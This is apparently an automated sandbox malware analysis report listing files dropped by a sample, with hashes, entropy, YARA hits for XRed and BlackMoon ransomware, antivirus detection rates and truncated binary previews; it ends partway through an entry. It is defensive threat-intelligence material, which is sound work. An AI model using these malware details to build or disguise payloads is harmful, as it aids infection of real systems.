Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FxNliSqR2Nwh6q6geoKzwg">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\ntiuY44s.xlsm

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	Microsoft Excel 2007+
Category:	dropped
Size (bytes):	18387
Entropy (8bit):	7.523057953697544
Encrypted:	false
SSDEEP:	384:oUaZLPzMfVSa1VvYXmrsdPkLmDAx7r/l0:oUatwNSSvY2IdsHr/y
MD5:	E566FC53051035E1E6FD0ED1823DE0F9
SHA1:	00BC96C48B98676ECD67E81A6F1D7754E4156044
SHA-256:	8E574B4AE6502230C0829E2319A6C146AEBD51B7008BF5BBFB731424D7952C15
SHA-512:	A12F56FF30EA35381C2B8F8AF2446CF1DAA21EE872E98CAD4B863DB060ACD4C33C5760918C277DADB7A490CB4CA2F925D59C70DC5171E16601A11BC4A6542B04
Malicious:	false
Preview:	PK..........!...5Qr...?.......[Content_Types].xml ...(......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................N.0.E.H.C.-..@.5.....(..8...-.[.g.......M^..s.5.4.I..P;..!....r....}._.G.`....Y....M.7....&.m1cU..I.T.....`.t...^.Bx..r..~0x....6...`....reb2m.s.$.%...-c.{...dT.m.kL]Yj.\|..Yp..".G.......r...).#b.=.QN'...i..w.s..$3..)).....2wn..ls.F..X.D^K.......Cj.sx..E..n._ ....pjUS.9.....j..L...>".....w.... ....l{.sd...G.....wC.F... D..1<..=...z.As.]...#l..........PK..........!..U0#....L......._rels/.rels ...(...............

C:\Users\user\AppData\Local\Temp\q67hQckB.exe

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	771584
Entropy (8bit):	6.641572080573123
Encrypted:	false
SSDEEP:	12288:aMSApJVYG5lDLyjsb0eOzkv4R7QnvUUilQ35+6G75V9I3Rr:ansJ39LyjbJkQFMhmC+6GD9ch
MD5:	B18C94884CC98C89024034F707824909
SHA1:	FAD0F34E7FFC05827A87DC1F7AE9A99D68140581
SHA-256:	D30D0F2A6991276E8203B5849F0DF86FA48FC9D56610A75ECDAE9D5551CD79D7
SHA-512:	5D7F2F2C6F6A232B760D25803C7ED44A21DE144F237466C62C5EE4F885FE572A973ECFDA3BFC7E83120B81D7546A69009CC820E504F7E31399D7437B3C025DD9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\q67hQckB.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.....................&....................@.......................... ...................@..............................B...........................P...............@..!............@......................................................CODE............................... ..`DATA....T........0..................@...BSS......................................idata..B*.......,..................@....tls.........0...........................rdata..9....@......................@..P.reloc.......P......................@..P.rsrc...............................@..P....................................@..P........................................................................................................................................

C:\Users\user\AppData\Local\Temp\q67hQckB.ico

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 colors
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.131515558586618
Encrypted:	false
SSDEEP:	96:4hPTgfVuLmOtWGD18BScsV/F4s/7SXqWcGPs:4h7YgTn/zSXhcss
MD5:	0C2918499E43C3E7B92B85EA2FA8160C
SHA1:	E77A10A7E29A589433476A434331DB4554A48168
SHA-256:	2246F59DCB35FC8AB7F482CE5921F1043B20A3422476C558DAA36866714532F9
SHA-512:	9C31C967EB3FBE3BCE47B0CD8C1E9350DE81DEA96C94E2E8A2F19A81D15F25786FA2C8EB325842811CBB76A71649EE0E6D3D1995F7B670893A4D864F34D4A93F
Malicious:	false
Preview:	...... .............(... ...@..... .................................................................................................................................................................................................................................................................................................................................................................................................................................>>E.--6.,,5.,,7.,,:../>../?.,,C.,,C.,,F.,,F.,,F.,,F.,,D.,,C.,,E.,,C.,,C../>.02@.01?.,,:.,,5.++2.$$'Q............................Ef..:Z..5V..5X..7V....o..&.../....t...~.................3N........t.....3K..=[...@..6N..<_..;c..[n..........................=@B.........v...~..._...-G..O{....g...^...a...f...f...h..*...'....b...]...`...h...T.,Bv.............9I^.........................=@C.....i...V...b...Hu..`...9V....Y...c...g...i...i...i...e...c...c...`...Y...T.6V......z.../Bc.................................=@C.p...^...Go..Js..W...[...Ky....d...

C:\Users\user\AppData\Local\Temp\t2ILelQ.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.259996449328679
Encrypted:	false
SSDEEP:	24:bsF+0YFWmISU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+VJI+pAZewRDK4mW
MD5:	7964FD72A310BA5CCB6662B0EE31D885
SHA1:	B43097BBE253FD85BD0AC04031242BE624B0518E
SHA-256:	AC4E1E3EE519071BAFE648D32B5EA91D17B444F11AF626C76450E072637AC94C
SHA-512:	5039359DA65B1F5C3E21256AABE023A7D3657EEBD77B8FC0EE8C7BBD320AFD333EB6CAB0DF95C5689F16CC6D700B25258050369CF43872E029AB698E71D886F6
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="-QsoZRFCyJmf42mYN-QHdw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\y45UfOt.ini

Download File

Process:	C:\ProgramData\Synaptics\Synaptics.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1638), with no line terminators
Category:	dropped
Size (bytes):	1642
Entropy (8bit):	5.240131345395508
Encrypted:	false
SSDEEP:	24:bsF+0USU6pepPQfkZbc6cn1BZdAe1nCr1LTHm6D9viLRIxv+5A:bK+X+pAZewRDK4mW
MD5:	F786E99432375C8A6584A1C24916B442
SHA1:	871187957318BADCD4E0F124A656F78B61043D94
SHA-256:	407DCB844889A2380C6E44122106672D70362BACAE8F3140391B802FE8C98A3B
SHA-512:	F8BA22E3D5906C02AC201128EF00E2FAB8F9FC6020ACEB24CA4001E16AA6D38B200483EAF65CB2FFA9636FAB1C294A2B0F4959D4CD7AF1DD9A291F6A83C79959
Malicious:	false
Preview:	<html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="r3g5paNubwStHg16qporkw">{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px;} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}pre{white-space:pre-wrap;}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) n

C:\Users\user\AppData\Local\Temp\~$ntiuY44s.xlsm

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.7769794087092887
Encrypted:	false
SSDEEP:	3:iXKG/4N+RMlW8td:iXlMlW8/
MD5:	37BD8218D560948827D3B948CAFA579C
SHA1:	24347FB0A66F2DA8AD3BAB818E3C24977104E5DA
SHA-256:	189E2D5600E0CC41F498D2EB22FA451F81746DCDBAA3EC1146A22C3A74452DA6
SHA-512:	A34D703FEBFD9E45A57BF047D9CCF890482B0F7CD3788F9BFD89DECA13B96DD4F43BDB0C4D81CC716DEAC37BCD1C393A7BCB159B471B5721B367E4884B17C699
Malicious:	false
Preview:	.user ..f.r.o.n.t.d.e.s.k. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\AppData\Local\Temp\~DF64BBC3F8EB6ED614.TMP

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	3.746897789531007
Encrypted:	false
SSDEEP:	192:QuY+pHkfpPr76TWiu0FPZK3rcd5kM7f+ihdCF3EiRcx+NSt0ckBCecUSaFUH:ZZpEhSTWi/ekfzaVNg0c4gU
MD5:	7426F318A20A187D88A6EC88BBB53BAF
SHA1:	4F2C80834F4B5C9FCF6F4B1D4BF82C9F7CCB92CA
SHA-256:	9AF85C0291203D0F536AA3F4CB7D5FBD4554B331BF4254A6ECD99FE419217830
SHA-512:	EC7BAA93D8E3ACC738883BAA5AEDF22137C26330179164C8FCE7D7F578C552119F58573D941B7BEFC4E6848C0ADEEF358B929A733867923EE31CD2717BE20B80
Malicious:	false
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop.lnk

Download File

Process:	C:\Users\user\Desktop\._cache_3.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Hidden, System, ctime=Mon Aug 5 09:00:10 2024, mtime=Mon Aug 5 09:00:12 2024, atime=Mon Aug 5 09:00:10 2024, length=21611008, window=hide
Category:	dropped
Size (bytes):	620
Entropy (8bit):	5.115052268206575
Encrypted:	false
SSDEEP:	12:8mdtzYNbRLXtKcCxgN/6DcKIxOjAjxx/0BXcKIwESkXIlIbAiJsiJzBmV:8mgnL4chiMyAjfi16bAiJsiJtm
MD5:	07D9C185BB96445CDFBF5A3792EA6B9D
SHA1:	40407C9CF1EF0EE17404FFA4F24C67BE2751E748
SHA-256:	B019D3C07A388D61E419A1AF86B49513087F81E453E78E6D0B80810AE54B339D
SHA-512:	8498CEB7139F4659240AC942E5C363CC92F183719576234F055FF0CA8E96792808949C257A26D1F35D8C2DA3EDE297ABF0F612C5CEF3FF229FD3212304A107B7
Malicious:	false
Preview:	L..................F...........A....N2cC...._C.A......I..........................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_......A......E......h.2...I..Y.P.._CACHE~1.EXE..L.......Y.P.Y.P...........................Z...._.c.a.c.h.e._.3...e.x.e.......W...............-.......V...........}i.......C:\Users\user\Desktop\._cache_3.exe......\.D.e.s.k.t.o.p.\..._.c.a.c.h.e._.3...e.x.e...C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.D.e.s.k.t.o.p.`.......X.......131521...........hT..CrF.f4... .^../Tc...,......hT..CrF.f4... .^../Tc...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\Desktop\._cache_3.exe

Download File

Process:	C:\Users\user\Desktop\3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	21611008
Entropy (8bit):	7.818704740826427
Encrypted:	false
SSDEEP:	393216:jPhYAAOfCx8hV7VGDEBm7GeXdXMOII/Ymr5Y1QNV5EROx/pr8FxYS0D/Eq3ueeT:lY2f9IQB2GzMvFYunhSxYfD/Eq+e
MD5:	A2D8E20445CF88A10FADE8DE1B8379FD
SHA1:	056A5A2DBA5F4F0FC5CB035CBE1EE2C4351A9825
SHA-256:	94F34C41ADC3198296A3E57D86C2D0DF5CFCDBBEC4FDC12791F8A2DB93E2E276
SHA-512:	E7ED57D991AE98984262B734A88A28829C0445189F479A30C68D833BBDB1186970B2E39A5959F927D72DD9EA8DC91C0B2BDB073A42CFD54E7CFDC493129CF896
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9..4}v\|g}v\|g}v\|gt..g\|v\|g.9.gyv\|gt..gmv\|gt..gTv\|g}v}gwu\|gc$.g[v\|gc$.g~v\|gc$.g.v\|gc$.g.v\|gc$.g\|v\|g}v.g\|v\|gc$.g\|v\|gRich}v\|g........PE..L......c.................@..........qX4......P....@...........................\|.....7.I...@...................................:.......\|.......................\|.....................................\.\|.@............p:.........@....................text....>.......................... ..`.rdata.......P......................@..@.data...`....@......................@....data30...&.........................`....data31..I...2...I.................`....reloc........\|.......I.............@..@.rsrc.........\|.......I.............@..@........................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A39EAB56C\60B31urkm.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	5.723671248831358
Encrypted:	false
SSDEEP:	1536:bOpvODXphadHM/653RQBwXm/KURjSDhfmjjp5QsKDhwO3b:kKZiM/65SCYymP3NKDhwE
MD5:	DD3B0103C412D3A0781FF32EBC4C7D0C
SHA1:	DDDD4AC4CC8961D6EBFA28A4DC627EB92E20B1E5
SHA-256:	DE3CCEC54582DA666CAA1FBC1FAB4BF6192189169E4470C82B194FCD0344CCE5
SHA-512:	BC04B56A5D199BBC86FA4E353CE781B0F8FAFB2A7F1B0612CB295284C15C28704DD9344D5B1227344253B8CC0FBA2402C117A43DBAAD4115A3DAB2DB041C0706
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........}H..&...&...&...&...&...-...&...(...&...,...&..."...&..:-...&..:"...&...'.5.&...5...&.u.-...&.Z. ...&.u."...&.Rich..&.........PE..L...^.8Z...........!................................................................................................ :.......5.......`.......................p..........................................................@............................text............................... ..`.rdata...+.......0..................@..@.data........@.......@..............@....rsrc........`.......P..............@..@.reloc..B....p... ...`..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\2CE020xu.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4744704
Entropy (8bit):	6.6650839563858515
Encrypted:	false
SSDEEP:	98304:JeP71Yv5+I6GKuUKx7uhvxUe2OIMk7RJdu4IvSTmo8wEgMDOdK1rXFl6uwZqQQYC:Je5DNmu98hRJdu4IvSTmo8wEgMDOdGvx
MD5:	695A41CD6529A1D4761F989E1BDC1BCA
SHA1:	FF900F5B867491E5A1B577D4AC18CAD26BC766F7
SHA-256:	F44F6A43ED807169DED6CB176DC7B723859238588D978C7AC34D60D7037491E2
SHA-512:	2E0042D355E2D4C06EB310A4882BE7B03E2169F2411BBE4C7BFBFA5FD4614CCF2046E914C040E6DB103DF0D8A0805FE567D353CF562731B997F5522C6EE0AAFB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.A'+./t+./t+./tr.<t)./t...t"./tD..tn./tD..t~./t"..t-./t+..tC./t"..t<./tD..t=./t+./t./tD..t../tD..t./tRich+./t........PE..L....J.f...........!......6.."........3.......6...............................H...........@.................................t.=..............................pE..t..P.6.............................@.;.@.............6.T............................text....6.......6................. ..`.rdata...Q....6..R....6.............@..@.data.........>.......=.............@....vmp0....D... E..F....D.............`..`.reloc...t...pE..v....D.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A544E7C1C35\5C55qqtun.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4744704
Entropy (8bit):	6.6650839563858515
Encrypted:	false
SSDEEP:	98304:JeP71Yv5+I6GKuUKx7uhvxUe2OIMk7RJdu4IvSTmo8wEgMDOdK1rXFl6uwZqQQYC:Je5DNmu98hRJdu4IvSTmo8wEgMDOdGvx
MD5:	695A41CD6529A1D4761F989E1BDC1BCA
SHA1:	FF900F5B867491E5A1B577D4AC18CAD26BC766F7
SHA-256:	F44F6A43ED807169DED6CB176DC7B723859238588D978C7AC34D60D7037491E2
SHA-512:	2E0042D355E2D4C06EB310A4882BE7B03E2169F2411BBE4C7BFBFA5FD4614CCF2046E914C040E6DB103DF0D8A0805FE567D353CF562731B997F5522C6EE0AAFB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......o.A'+./t+./t+./tr.<t)./t...t"./tD..tn./tD..t~./t"..t-./t+..tC./t"..t<./tD..t=./t+./t./tD..t../tD..t./tRich+./t........PE..L....J.f...........!......6.."........3.......6...............................H...........@.................................t.=..............................pE..t..P.6.............................@.;.@.............6.T............................text....6.......6................. ..`.rdata...Q....6..R....6.............@..@.data.........>.......=.............@....vmp0....D... E..F....D.............`..`.reloc...t...pE..v....D.............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\CE8ebUTU.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1248768
Entropy (8bit):	6.676222335773298
Encrypted:	false
SSDEEP:	24576:f2vEztMdcDrgilCB36NjnQ1Ho6z253hiNL:bztMdcDrgiA6NjIDz253
MD5:	2C5F99EEC6A7B98AE489A253FA1F4151
SHA1:	B0369DEF36C4C1AFA9A2E2BA727A30B9D4DD31C0
SHA-256:	678546CC0CF5260EA51F7104BC4DEEB6F84D9BEAFE1E09F9B487A7579E40F959
SHA-512:	0571B74B63FB461322313F1685A84A4421EF21223D7708552E39CCBCF2AEA2C4A1221257B31467876A4A1F66433CF852DB1C460EE75EF2C85245DBA36455AB68
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l5^.(T0.(T0.(T0.....+T0.G"..lT0.G"..NT0.G"...T0.!,..!T0.(T1..T0.(T0.)T0.G"...T0.G"..)T0.Rich(T0.........PE..L....r.c...........!.....L...................`...............................P............@.....................................d................................... d..............................@...@............`...............................text...3J.......L.................. ..`.rdata..bY...`...Z...P..............@..@.data...(...........................@....reloc...............T..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A733D6\EA56ljmih.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1248768
Entropy (8bit):	6.676222335773298
Encrypted:	false
SSDEEP:	24576:f2vEztMdcDrgilCB36NjnQ1Ho6z253hiNL:bztMdcDrgiA6NjIDz253
MD5:	2C5F99EEC6A7B98AE489A253FA1F4151
SHA1:	B0369DEF36C4C1AFA9A2E2BA727A30B9D4DD31C0
SHA-256:	678546CC0CF5260EA51F7104BC4DEEB6F84D9BEAFE1E09F9B487A7579E40F959
SHA-512:	0571B74B63FB461322313F1685A84A4421EF21223D7708552E39CCBCF2AEA2C4A1221257B31467876A4A1F66433CF852DB1C460EE75EF2C85245DBA36455AB68
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 11%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l5^.(T0.(T0.(T0.....+T0.G"..lT0.G"..NT0.G"...T0.!,..!T0.(T1..T0.(T0.)T0.G"...T0.G"..)T0.Rich(T0.........PE..L....r.c...........!.....L...................`...............................P............@.....................................d................................... d..............................@...@............`...............................text...3J.......L.................. ..`.rdata..bY...`...Z...P..............@..@.data...(...........................@....reloc...............T..............@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\A79A52\C2485384.ini

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	154
Entropy (8bit):	5.697131082731525
Encrypted:	false
SSDEEP:	3:okCW4DVr69cAKq9NuB81tWZ//xQJAnMiKP/82JaQzPyck2KURnPnOHbTc4v:uW4DVXAa61I3JMjPB9jMvEnPOMi
MD5:	3D5333B8DBF1DB35AD7E70F54F2F696A
SHA1:	DCC8F570A50E50118977D02777BC44B4CC8182C2
SHA-256:	868C77EBC1DAE4B990076207FB425238A1A9CF9FDC95A558C61823BC6EA390C4
SHA-512:	0EF1CE88883066C54C170A5C8DF7D8239CDAB0DA268FB669EC138C2D963B76EE1DCB03A343047D7EDF77D6070680E9AD96061748FB153E440DB0768F90426A9D
Malicious:	false
Preview:	[ConnectLogs]..uplog=2024-8-5 6:0:30 76CbiyMP5\|iFsgtdc2\|PHtU6j\|ZZS3XWv8mz9qurjnwx08pbiDC6CaM2jZE7TB_braLuhy2ljol5OmjW9gBShveHsvE6sBjzHt9ZA0A2ruLgr6ym0gZ..

C:\Users\user\Desktop\I4F64A1117\AA1F03F\B895AC6\3724rlnjg.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	163840
Entropy (8bit):	6.306746357940625
Encrypted:	false
SSDEEP:	3072:fs2c0aBV0bdukL+s45w+Icr6Hizu7HRtCfWpZQvYwvOSDc89DlMQFZ8J5/Bw9bmo:f1cB3kukL+sQw+XCnRtQaeU89LK/BIm
MD5:	203CD4EC29A18F1C8A1DDEFADC3F7382
SHA1:	47A4072EDF7C4530D4E86B84CBE5118E277DE543
SHA-256:	566086537066D3FF72167F09ADC2522AC72D24DA0601E7966367A8A85802A121
SHA-512:	28FB3CF0D811F35C387BB666070CE5B6422401E59D0748E420C246EFCF7F3ECBE6EE938242D7E93103083E9B45590ABE0E864E540B953BD3C4F3949B3D579A19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......tN..0/..0/..0/..0/..4/...0..1/...'..2/..K3..1/..f0..5/..R0..8/...3..2/.._0..3/.._0..4/.._0..2/......5/..0/.../...0.../......7/...)..1/......1/..Rich0/..........PE..L......W...........!................+...............................................................................@................`..........................`....................................................................................text...>........................... ..`.rdata...2.......@..................@..@.data....5... ... ... ..............@....rsrc........`... ...@..............@..@.reloc..>........ ...`..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5095424
Entropy (8bit):	6.573640794066719
Encrypted:	false
SSDEEP:	98304:8/Gq9tQ0I2sfjn+1LOfPR6F2+5bT7j5R31:e9t9I2vLOfPot
MD5:	AAA5DC054C587BCB8101660A9C08F0EC
SHA1:	1AAEA461D0B7DF8287B9269F945573F7BBD773A5
SHA-256:	3E0E15C5C5D2B5868B768E1AB71EAE9A2900B2341CF589272D571A0E3817A4E2
SHA-512:	FF02058DDE5A09E2DCE1FA9B5E8EBEC29809ACABA29A1D87623CAA40713C95B9AEE2A73F97632152F4D80FA270E5DE30BCA8A263A31A762B0339795139AAE964
Malicious:	true
Yara Hits:	Rule: JoeSecurity_blackmoon, Description: Yara detected BlackMoon Ransomware, Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll, Author: Joe Security Rule: MALWARE_Win_BlackMoon, Description: Detects executables using BlackMoon RunTime, Source: C:\Users\user\Desktop\I4F64A1117\AA1F03F\C5AF4D95FFB\716omlgZ.dll, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......2-x.vL..vL..vL...S..tL...P..wL..CI.qL...P..XL..@j..L..S..pL../o..tL..CK.UL..vL..N..@j..L..vL..wL..S..xL..J..wL..S..wL..RichvL..................PE..L...eb.]...........!.....0?..........O<......@?..............................0P......................................*@.M...8.?.\|.... P......................@N.\|....................................................@?..............................text...J'?......0?................. ..`.rdata..]....@?......@?.............@..@.data........0@......0@.............@....vmp0........ K.. ....H.............`..`.reloc..\|....@N.......K.............@..@.rsrc........ P.......M.............@...........................................................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\C787EC\DB84ibYaX.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1026048
Entropy (8bit):	7.925003138253117
Encrypted:	false
SSDEEP:	24576:CV9FhL2ViPIyzF6bcMNhpXtvYNccdmeDqpAmmRUawOYgbTx:Chh4m9zZMNhvvDEbGpcEOYgbd
MD5:	0D46751EEFD7215B577C1778AA0AA518
SHA1:	DA3D20A35305DE03264A7A1A9EE9F2C53062D571
SHA-256:	78F5AB4C979A9E821DAA8C69D5190CF5B390FEF50E71B07DF837E02D7F193472
SHA-512:	3F815EDE6EDD057D66D972D7A8CFBF5144893167ED7E6FF469E6E33EF0F6D007B7F8C68541C9A68E87B8549A6C87C678C00D9AA97C8544447C9FEB2D7526E1FF
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................d... ......;q............@..........................0".........................................e...PP........!.tW....................!.x....................................................k..\|...........................CODE....4c.......................... ..`DATA.....+..........................@...BSS......_...............................idata..($..........................@....edata..e....@......................@..P.vmp0........P......................`..`.vmp1...j....0......................`....reloc..x.....!.....................@..P.rsrc...tW....!.....................@..P........................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\105775LGi.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364032
Entropy (8bit):	7.874668264129561
Encrypted:	false
SSDEEP:	6144:rSQlcOmBAD7fxrVyqVENIxKMFpeJ0LgRtcRtd:W+n6Ax0WuSKM360URtq
MD5:	60187C5081DF7F3EE20C834C6E1BEA1D
SHA1:	50CE14D15FDB27E8E98B1CA43AF3C2C45B3A81B2
SHA-256:	7C00A8190DD048B43DEB36E99E52864DE4DC25211993426CBA32891F8F8824B2
SHA-512:	925D2E52ED3968E5CE6570394D2B7D7003AD67CDF5AF7D9CEC9E60121AABC44733AC7A00811D242E96F035CCF3442812A83986E6CF809FE643634C50ADE707F3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?...^...^...^......^...}...^..}.,..^...&9..^...&)..^...^..K\..../..^....9.k^....>.Y^....0..^....(..^.......^....+..^..Rich.^..................PE..L...<F.f...........!.........6......Hs..............................................Ij....@..........................I..4....g..\|........7......................\|...,...................................@...............$... ...@....................text............................... ..`.rdata..t+..........................@..@.data...............................@....vvvt0..............................`..`.vvvt1...{...@...\|..................`....reloc..\|...........................@..@.rsrc....7..........................@..@........................................................................................................................................................................................................

C:\Users\user\Desktop\I4F64A1117\AA1F03F\CA0D5C\1A5fZcdZ.dll

Download File

Process:	C:\Program Files (x86)\Google\C2485384.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	364032
Entropy (8bit):	7.874668264129561
